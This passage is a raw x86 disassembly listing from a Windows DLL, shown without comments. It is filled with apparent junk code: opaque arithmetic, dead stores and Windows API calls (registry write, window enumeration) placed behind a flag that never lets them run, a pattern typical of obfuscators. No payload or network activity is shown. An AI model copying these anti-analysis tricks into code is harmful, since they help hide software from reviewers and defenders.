mov dword [ebp + eax*4 - 0x15c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jle 0x1003e69d
mov eax, dword [ebp - 0x724]
xor ecx, ecx
test eax, eax
push 4
setns cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x7f8]
pop eax
mov dword [ebp - 0x14], 0x648261f
mov dword [ebp - 0x14], 0x251d69f4
push eax
call fcn.1000ebc1
push 0xa
pop eax
push 4
mov byte [ebp - 4], al
pop edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x3c], 0x8a1bab0
mov dword [ebp - 0x14], ebx
jmp 0x1003e8ca
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x7f8]
mov dword [eax + ecx*4], 0xedd1edb6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1003e8b7
mov dword [ebp - 0x14], 0x24a8c6a5
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 0x26
jl 0x1003e9ce
lea esi, [ebp - 0x958]
lea edi, [ebp - 0x948]
movdqa xmm0, xmmword [0x10008b00]
push ecx
push edi
mov dword [ebp - 0x2c], 0xfffffffc
lea ecx, [ebp - 0x7e0]
mov dword [ebp - 0x3c], 0x50faeb38
mov dword [ebp - 0x38], 0xe83adeb9
push esi
movdqu xmmword [ebp - 0x958], xmm0
call fcn.1003866d
mov dword [ebp - 0x28], ebx
jmp 0x1003e938
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x5d8], 0xa67f8b4d
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1003e927
xor edx, edx
mov dword [ebp - 0x28], ebx
inc edx
jmp 0x1003e957
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x7b0], 0x8254981c
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x1003e946
cmp dword [ebp - 0x14], ebx
jne 0x1003e967
mov eax, dword [ebp - 0x5d4]
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x2c]
setge cl
xor edx, edx
cmp ecx, eax
setg dl
xor ecx, ecx
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x5d4]
jg 0x1003e99c
cmp dword [ebp - 0x5d8], ebx
jne 0x1003e99c
mov eax, ebx
jmp 0x1003e99f
xor eax, eax
inc eax
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
push 5
pop eax
sub ecx, eax
mov eax, dword [ebp - 0x7e0]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x7e0]
call fcn.1000f7cf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x26
jge 0x1003e8ef
or edi, 0xffffffff
lea ecx, [ebp - 0x7f8]
mov byte [ebp - 4], 8
call fcn.1000f7cf
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], ebx
jl 0x1004004c
jmp 0x1003e9f2
push 4
pop eax
mov dword [ebp - 0x30], 0x24a8c6a5
lea ecx, [ebp - 0x234]
mov dword [ebp - 0x44], 0x66c93ee
push eax
call fcn.1000ebc1
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x40], 0xfffffff7
push 4
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], ebx
pop edx
jmp 0x1003ea3b
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x234]
mov dword [eax + ecx*4], 0x13717be9
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x1003ea28
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], 0x13
jle 0x1003eb19
mov esi, dword [ebp - 0x234]
mov dword [ebp - 0x48], 0xa810d21d
mov dword [ebp - 0x38], 0x9cb61d22
mov dword [ebp - 0x20], 0x8254981c
mov dword [ebp - 0x10], ebx
jmp 0x1003ea7e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x938], 0x89328a06
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1003ea6d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jne 0x1003eafa
mov eax, dword [ebp - 0x234]
cmp dword [eax], ebx
jne 0x1003eabc
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x92c], 0x11f0
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x234]
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0x38]
jne 0x1003eabc
mov edx, ebx
jmp 0x1003eabf
xor edx, edx
inc edx
mov eax, dword [ebp - 0x234]
mov ecx, dword [eax]
xor eax, eax
cmp edx, ecx
setle al
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x38], ebx
jne 0x1003eaea
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x938], edi
jge 0x1003eafa
xor edx, edx
inc edx
jmp 0x1003eafc
mov edx, ebx
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
push 4
setg cl
mov dword [esi + 4], ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x13
pop edx
jg 0x1003ea53
mov dword [ebp - 0x40], 0x14
jmp 0x1003ebb3
mov dword [ebp - 0x3c], 0x493ab76a
lea ecx, [ebp - 0x808]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x3c], 0xfffffff7
mov dword [ebp - 0x3c], 6
push 3
call fcn.1000ebc1
push 3
mov dword [ebp - 0x1c], ebx
pop edx
jmp 0x1003eb62
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa5c], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1003eb55
mov dword [ebp - 0x1c], ebx
jmp 0x1003eb7f
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x808]
mov dword [eax + ecx*4], 0xfffffffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1003eb6c
xor ecx, ecx
mov dword [ebp - 0x1c], ebx
inc ecx
jmp 0x1003eb9d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x760], 0xf7d1d410
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003eb8c
dec dword [ebp - 0x2c]
lea ecx, [ebp - 0x808]
call fcn.1000f7cf
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xd
je 0x1003eb25
lea ecx, [ebp - 0x234]
mov byte [ebp - 4], 8
call fcn.1000f7cf
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x44], 0x14fa
cmp dword [ebp - 0x44], 0x612
jge 0x1003ec8c
lea eax, [ebp - 0x150]
mov ecx, 0x1065c4d0
push eax
mov edi, ebx
call fcn.10017f97
mov esi, dword [ebp - 0x150]
test esi, esi
je 0x1003ec70
xor ebx, ebx
inc ebx
lea eax, [ebp - 0x13c]
dec esi
push eax
push ecx
lea eax, [ebp - 0x11c]
push eax
push ecx
lea eax, [ebp - 0x138]
mov ecx, 0x1065c4d0
push eax
call fcn.10017f97
pop ecx
mov ecx, eax
call fcn.10017f97
pop ecx
mov ecx, eax
call fcn.10017f97
cmp dword [ebp - 0x138], ebx
jne 0x1003ec49
cmp dword [ebp - 0x11c], ebx
je 0x1003ec69
cmp dword [ebp - 0x11c], ebx
jne 0x1003ec59
cmp dword [ebp - 0x13c], ebx
je 0x1003ec69
cmp dword [ebp - 0x13c], ebx
jne 0x1003ec6a
cmp dword [ebp - 0x138], ebx
jne 0x1003ec6a
inc edi
test esi, esi
jne 0x1003ec07
xor ebx, ebx
dec esi
mov ecx, 0x1065c418
push edi
mov dword [ebp - 0x150], esi
call fcn.100180e3
push eax
call fcn.10019688
pop ecx
or edi, 0xffffffff
push 5
pop eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], 0xfffffffd
mov dword [ebp - 0x44], 0xd69b45c7
mov dword [ebp - 0x30], ebx
jmp 0x1003ecb6
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x73c], 0xfffffffc
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1003eca5
mov dword [ebp - 0x28], ebx
jmp 0x1003ed9c
mov dword [ebp - 0x40], 0xe56f9b2c
mov dword [ebp - 0x40], ebx
jmp 0x1003ed8f
push 1
lea ecx, [ebp - 0x4b8]
call fcn.1000ebc1
xor edx, edx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], ebx
inc edx
jmp 0x1003ecfe
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x4b8]
mov dword [eax + ecx*4], 0x23ed15d
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x1003eceb
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003ed13
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x30], ebx
jmp 0x1003ed7c
mov dword [ebp - 0x2c], 0xf23e93d0
xor edx, edx
mov eax, dword [ebp - 0x30]
mov esi, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x4b8]
cmp dword [ecx + eax*4], 0x1648c8b8
setle dl
xor eax, eax
cmp edx, dword [ecx + esi*4]
setl al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], ebx
jl 0x1003ed79
mov dword [ebp - 0x44], 0x707e294b
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x73c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x40], ebx
jne 0x1003ed79
dec dword [ebp - 0x10]
jns 0x1003ed50
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jle 0x1003ed18
lea ecx, [ebp - 0x4b8]
call fcn.1000f7cf
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xfffffffd
jg 0x1003ecd3
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jg 0x1003ecc4
push 4
pop eax
push eax
lea ecx, [ebp - 0x198]
call fcn.1000ebc1
push 0xfffffffffffffff7
pop esi
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x30], esi
push 4
mov dword [ebp - 0x20], 0xbac41177
mov dword [ebp - 0x28], ebx
pop ecx
jmp 0x1003edde
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x18c], 0x876e
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1003edcd
mov dword [ebp - 0x28], ebx
jmp 0x1003edf9
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xa8c], 1
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1003ede8
mov dword [ebp - 0x30], ebx
jmp 0x1003efe5
mov dword [ebp - 0x28], 0xfffffffa
mov dword [ebp - 0x40], 0x3f6d1d89
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003ee2d
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
mov dword [ebp - 0x28], 3
cmp dword [ebp - 0x28], ebx
jl 0x1003efe2
mov dword [ebp - 0x2c], 0x95c3c62e
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003ee61
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x18c], ebx
je 0x1003ee94
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x18c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x18c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x18c]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18c]
test eax, eax
mov eax, dword [ebp - 0x30]
setns cl
xor edx, edx
cmp ecx, 0xdfc
setge dl
neg edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setle cl
xor edx, edx
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 0x40], edx
mov edx, dword [ebp - 0x184]
add edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x188]
neg edx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x180]
jne 0x1003efcb
mov dword [ebp - 0x48], 0xfffffff6
mov dword [ebp - 0x3c], 0x16d6ae4d
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x40], ebx
cmp dword [ebp - 0x40], 3
jg 0x1003efac
xor eax, eax
inc eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x10], 3
cmp dword [ebp - 0x10], ebx
jl 0x1003ef9f
xor ecx, ecx
mov dword [ebp - 0x2c], 3
mov eax, dword [ebp - 0x30]
cmp eax, 9
push 5
setge cl
pop eax
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + eax*4 - 0x18c]
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x44]
neg eax
sbb eax, eax
xor ebx, ebx
inc eax
add ecx, eax
cmp ecx, 0x3e1f
setl bl
sub ebx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x48]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ebx, eax
mov eax, dword [ebp - 0x10]
setne dl
add eax, dword [ebp - 0x10]
xor ecx, ecx
inc edx
cmp eax, edx
setl cl
mov dword [ebp - 0x2c], ecx
dec dword [ebp - 0x38]
dec dword [ebp - 0x10]
jns 0x1003ef30
xor eax, eax
xor ebx, ebx
inc eax
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 3
jle 0x1003ef1e
mov dword [ebp - 0x20], 3
cmp dword [ebp - 0x20], ebx
jl 0x1003efd9
mov dword [ebp - 0x2c], 0x6995e148
inc dword [ebp - 0x2c]
jne 0x1003efd9
dec dword [ebp - 0x20]
jns 0x1003efb8
jmp 0x1003efd9
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x44], 0x1edbcc77
dec dword [ebp - 0x28]
jns 0x1003ee3d
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jge 0x1003ee07
push 3
lea ecx, [ebp - 0x3a8]
call fcn.1000ebc1
mov byte [ebp - 4], 0xd
mov edi, 0xffff
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x20], 0xfffffffb
mov dword [ebp - 0x30], 0x6160cbeb
mov dword [ebp - 0x3c], 0xd28
cmp dword [ebp - 0x28], ebx
je 0x1003f031
mov eax, dword [ebp - 0x28]
add eax, 7
cmp eax, dword [ebp - 0x28]
jne 0x1003f031
xor edx, edx
inc edx
jmp 0x1003f033
mov edx, ebx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], ebx
je 0x1003f04f
cmp dword [ebp - 0x28], ebx
je 0x1003f04f
xor eax, eax
inc eax
jmp 0x1003f051
mov eax, ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x28]
je 0x1003f0a2
mov dword [ebp - 0x2c], 0x5fcb
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x28], ebx
jne 0x1003f086
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
xor edx, edx
cmp eax, 0x65721867
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x20], ecx
jmp 0x1003f0ac
mov dword [ebp - 0x2c], 0x1f433c8a
dec dword [ebp - 0x2c]
push 4
mov dword [ebp - 0x2c], 0xde30ea3b
or esi, 0xffffffff
mov dword [ebp - 0x10], ebx
pop edx
cmp dword [ebp - 0x10], edx
jge 0x1003f0d2
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x198]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x10]
jmp 0x1003f0bc
mov dword [ebp - 0x1c], 0x9bf39019
lea ecx, [ebp - 0x820]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x28], 0x6a5b5cf0
push edx
call fcn.1000ebc1
push 4
mov dword [ebp - 0x30], ebx
pop edx
jmp 0x1003f10a
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x820]
mov dword [eax + ecx*4], 0x505c00d4
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x1003f0f7
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setle cl
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
dec eax
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x1c]
je 0x1003f145
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, 0xe95a
setl al
imul eax, dword [ebp - 0x1c]
test eax, eax
je 0x1003f182
cmp dword [ebp - 0x28], ebx
je 0x1003f182
xor edx, edx
inc edx
mov eax, edx
jmp 0x1003f187
xor edx, edx
mov eax, ebx
inc edx
cmp eax, dword [ebp - 0x1c]
jne 0x1003f193
mov ecx, ebx
cmp dword [ebp - 0x10], ebx
je 0x1003f195
mov ecx, edx
mov eax, dword [ebp - 0x1c]
imul eax, ecx
xor ecx, ecx
cmp eax, 5
setg cl
cmp ecx, 0xdb5a26cd
je 0x1003f23b
mov dword [ebp - 0x360], edx
mov dword [ebp - 0x35c], edx
mov dword [ebp - 0x358], edx
mov dword [ebp - 0x354], edx
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x358], ebx
jne 0x1003f204
mov dword [ebp - 0x38], ebx
mov ecx, 0xfffa
mov eax, dword [ebp - 0x38]
mov edx, ebx
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp edx, eax
setl cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, esi
setg dl
xor ecx, ecx
add edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp eax, edx
setne cl
mov dword [ebp - 0x44], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x35c]
cmp eax, esi
setle cl
mov dword [ebp - 0x28], ecx
jmp 0x1003f25c
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003f25c
push 0x855
push ebx
push 0x1fa4
push 0x45d
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x1c], 0x1b
jmp 0x1003f2a1
mov dword [ebp - 0x44], 0xfffe
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x28], ebx
jmp 0x1003f298
mov dword [ebp - 0x10], ebx
jmp 0x1003f28f
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1003f28c
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jle 0x1003f27c
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffee
jg 0x1003f277
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff9
jg 0x1003f265
lea ecx, [ebp - 0x820]
call fcn.1000f7cf
mov dword [ebp - 0x10], ebx
jmp 0x1003f2ca
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3a8]
mov dword [eax + ecx*4], 0x2089ce37
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1003f2b7
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x40], 0xb7d8
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3b4]
cmp dword [eax + ecx*4], ebx
je 0x1003fd16
mov dword [ebp - 0x30], edi
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x44], 0x1b88
mov eax, dword [ebp - 0x44]
push 2
call fcn.1000ebc1
mov dword [ebp - 0x28], 0x9beb0647
xor edx, edx
mov dword [ebp - 0x20], 0x9ae77ab3
inc edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x40], ebx
jmp 0x1003f335
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x278]
mov dword [eax + ecx*4], 0xbca63185
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 2
jl 0x1003f322
mov dword [ebp - 0x28], ebx
jmp 0x1003f3e0
mov dword [ebp - 0x20], ebx
lea ecx, [ebp - 0x714]
mov dword [ebp - 0x3c], 0xf951fe77
mov dword [ebp - 0x3c], 0x948708ef
push 3
call fcn.1000ebc1
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x860]
xor eax, eax
mov dword [ebp - 0x3c], ebx
inc eax
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x3c], eax
push eax
call fcn.1000ebc1
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x848]
mov dword [ebp - 0x3c], 0x928694a2
push 1
call fcn.1000ebc1
mov byte [ebp - 4], 0x13
xor edx, edx
mov dword [ebp - 0x2c], 0xd0fe1f23
inc edx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 3
jge 0x1003fd99
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa68], edx
inc dword [ebp - 0x1c]
jmp 0x1003fd84
mov dword [ebp - 0x1c], ebx
jmp 0x1003fdb1
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x714]
mov dword [eax + ecx*4], 0x4210e164
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1003fd9e
mov dword [ebp - 0x1c], ebx
jmp 0x1003fdcf
or esi, 0xffffffff
lea ecx, [ebp - 0x3b4]
mov dword [ebp - 4], esi
call fcn.1000f7cf
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x2c], 0xe665969a
mov dword [ebp - 0x38], 0x85b6478c
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x48], 0x493876a4
mov dword [ebp - 0x2c], 0x333ee676
mov dword [ebp - 0x30], 0x68993dd6
mov dword [ebp - 0x44], 0xd8e
mov dword [ebp - 0x24], ebx
jmp 0x100400a7
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x304], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x1004009a
mov dword [ebp - 0x14], ebx
jmp 0x10040459
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x20], 0xfffffffb
mov dword [ebp - 0x44], 0x1908
cmp dword [ebp - 0x44], 0x12b1
jge 0x100401e7
lea eax, [ebp - 0xa4]
push eax
push 0x1000813c
call fcn.10050b5b
mov eax, dword [ebp - 0xa4]
pop ecx
pop ecx
test eax, eax
je 0x100401dd
dec eax
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x124]
push eax
push 0x100081b0
call fcn.10050b5b
add esp, 0xc
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x124], 0
mov eax, ebx
jle 0x100401cc
cmp dword [ebp - 0x110], 0
mov edi, ebx
jle 0x100401ae
mov ebx, eax
and ebx, 0x80000001
jns 0x10040142
dec ebx
or ebx, 0xfffffffe
inc ebx
mov esi, edi
and esi, 0x80000001
jns 0x10040151
dec esi
or esi, 0xfffffffe
inc esi
lea eax, [ebp - 0x118]
xor esi, ebx
push eax
push 0x1000813c
call fcn.10050b5b
mov edx, dword [ebp - 0x118]
mov ecx, edx
and ecx, 0x80000001
jns 0x10040179
dec ecx
or ecx, 0xfffffffe
inc ecx
and esi, 0x80000001
jns 0x10040186
dec esi
or esi, 0xfffffffe
inc esi
xor eax, eax
cmp ecx, esi
setne al
add edx, eax
push edx
push 0x10008328
mov dword [ebp - 0x118], edx
call fcn.10050d76
add esp, 0x10
inc edi
cmp edi, dword [ebp - 0x110]
jl 0x10040142
xor ebx, ebx
push 0x100080a5
call fcn.10050eec
mov eax, dword [ebp - 0x2c]
inc eax
pop ecx
mov dword [ebp - 0x2c], eax
cmp eax, dword [ebp - 0x124]
jl 0x10040128
mov eax, dword [ebp - 0xa4]
test eax, eax
jne 0x100400f4
or esi, 0xffffffff
dec eax
xor ecx, ecx
mov dword [ebp - 0xa4], eax
inc ecx
mov dword [ebp - 0x40], 0x1c0a9c5a
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x10], ebx
jmp 0x10040207
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1e0], 0x26874be7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100401f6
push 4
mov dword [ebp - 0x10], ebx
pop edx
jmp 0x10040222
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x45c], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x10040215
mov dword [ebp - 0x10], ebx
jmp 0x1004039e
push ecx
mov dword [ebp - 0x3c], 0x312fbb6b
lea ecx, [ebp - 0x6d8]
mov dword [ebp - 0x3c], ebx
call fcn.1000ebc1
mov dword [ebp - 0x2c], 0xf98c
xor edx, edx
mov dword [ebp - 0x44], 0x76fbfcc0
inc edx
mov dword [ebp - 0x24], ebx
jmp 0x1004026e
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x6d8]
mov dword [eax + ecx*4], 0xfffffffc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x1004025b
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1dc], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x304]
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x304], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x48]
neg eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
cmp eax, edx
setge cl
cmp ecx, edx
ja 0x100402b0
mov eax, edx
cmp dword [ebp - 0x2c], ebx
jne 0x100402b2
mov eax, ebx
mov dword [ebp - 0x458], eax
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1004038d
mov dword [ebp - 0x44], 0x1401
cmp dword [ebp - 0x44], 0xc36
jge 0x10040372
lea eax, [ebp - 0xc4]
push eax
push 0x1000813c
call fcn.10050b5b
jmp 0x1004035f
dec eax
mov dword [ebp - 0xc4], eax
lea eax, [ebp - 0x318]
push eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x310]
push eax
push 0x100084f4
call fcn.10050b5b
mov eax, dword [ebp - 0x324]
add esp, 0x14
sub eax, dword [ebp - 0x310]
cdq
mov ecx, eax
mov eax, dword [ebp - 0x318]
sub eax, dword [ebp - 0x244]
xor ecx, edx
sub ecx, edx
cdq
xor eax, edx
sub eax, edx
test ecx, ecx
jle 0x1004034d
test eax, eax
jle 0x1004034d
xor edx, edx
inc edx
jmp 0x1004034f
mov edx, ebx
lea eax, [eax + edx*2]
add eax, ecx
push eax
push 0x100081d0
call fcn.10050d76
mov eax, dword [ebp - 0xc4]
pop ecx
pop ecx
test eax, eax
jne 0x100402ec
dec eax
mov dword [ebp - 0xc4], eax
push 0x22a0
push 0x1448
push 0x18f7
push 0xcb4
push ebx
call dword [sym.imp.USER32.dll_SetRect]
lea ecx, [ebp - 0x6d8]
call fcn.1000f7cf
inc dword [ebp - 0x10]
xor ecx, ecx
inc ecx
cmp dword [ebp - 0x10], ecx
jle 0x1004022f
mov eax, dword [ebp - 0x20]
